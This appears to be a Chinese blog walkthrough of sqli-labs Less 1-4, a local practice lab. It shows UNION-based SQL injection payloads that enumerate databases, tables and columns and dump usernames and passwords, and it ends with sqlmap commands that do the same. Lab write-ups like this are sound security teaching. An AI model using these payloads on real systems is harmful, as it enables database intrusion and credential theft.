sqli-labs通关Less 1-4

sqli-labs通关Less 1-4

实验工具:phpstudy pro, Firefox

MySQL 5.7.26

Nginx 1.15.11

PHP 5.4.45

注意:sqli-labs-master配置正确的情况下,创建实验数据库出错,可能是由于php版本造成,可试着更改其版本。


一. Less 1

 1. 判断注入类型

判断语句:http://localhost/sql-lab/less-1/?id=1 , id=1’ 。id=1 --+(%23) 字符是用来注释sql后面的语句。根据页面回显可以确定less-1 存在字符型注入。


2. payload 爆破相关信息

1)order by 语句判断表中数据多少列,先定义任意一固定值10,然后为5,2,3,可以判断出此表有3列。

语句:http://localhost/sql-lab/less-1/?id=1‘ order by 10


 2)修改id值,盲猜数据库中不存在的id值,此处任意输入值位905,判断数据显示点位,输入4位,出错,3位,回显正常,说明有2个数据显示点。

语句:http://localhost/sql-lab/less-1/?id=905’ union select 1,2,3,4 --+


 3)爆破数据库名和用户名

Payload:

http://localhost/sql-lab/less-1/?id=905’ union select 1,user(),database() --+


 4)爆破数据库中存在的表

Payload:

http://localhost/sql-lab/less-1/?id=905’ union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = ‘security’ ),3 --+

注意:MySQL自带4个默认数据库,information_schema,performance_schema,mysql,test。其中informance_schema

保存了MySQl服务所有数据库的信息。具体MySQL服务有多少个数据库,各个数据库有哪些表,各个表中的字段是什么数据类型,各个表中有哪些索引,各个数据库要什么权限才能访问。


 5)爆破数据表中列

Payload:

http://localhost/sql-lab/less-1/?id=905’ union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = ‘security’ and table_name=‘users’),3 --+


 6)爆破账号密码信息

Payload:

localhost/sql-lab/less-1/?id=905’

union select 1,(select group_concat(concat_ws(0x7e,username,password))from users),3 --+

注意:concat_ws()函数就是方便我们的,避免在每一个字段前加上分隔符。


以上,咯,数据库相关信息出来了。

二. Less 2

1. 判断注入类型

判断语句:

http://localhost/sql-lab/less-2/?id=1 and 1=1

http://localhost/sql-lab/less-2/?id=1 and 1=2

第二条语句出错,则说明是布尔型注入


 2. payload 爆破相关信息

     爆破方式同less 1

三. Less 3

1. 判断注入类型

判断语句:

http://localhost/sql-lab/less-3/?id=1‘ --+

http://localhost/sql-lab/less-3/?id=1‘) --+

可以看出是 ‘)字符型注入


 2. payload 爆破相关信息

     爆破方式同less 1

四. Less 4

1. 判断注入类型

判断语句:

http://localhost/sql-lab/less-4/?id=1“

可以看出是 " 字符型注入


 2. payload 爆破相关信息

     爆破方式同less 1

最后,简单粗暴的爆破方式当然是sqlmap啦,因为是本地实验库,知根知底,爆破也简单些。

以less 1为例:

1) 检查注入点:

python3 sqlmap.py -u http://localhost/sql-lab/less-1/?id=1

2) 爆破所有数据库:

python3 sqlmap.py -u http://localhost/sql-lab/less-1/?id=1 --dbs

3) 爆破当前数据库信息

python3 sqlmap.py -u http://localhost/sql-lab/less-1/?id=1 --current-db

4) 爆破指定数据库所有表名

python3 sqlmap.py -u http://localhost/sql-lab/less-1/?id=1 -D security –tables


5) 爆破指定表名中所有列

python3 sqlmap.py -u http://localhost/sql-lab/less-1/?id=1 -D security -T users –columns


 6)Dump打印表中指定列名字段值

python3 sqlmap.py -u http://localhost/sql-lab/less-1/?id=1 -D security -T users -C id,username,password --dump


©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。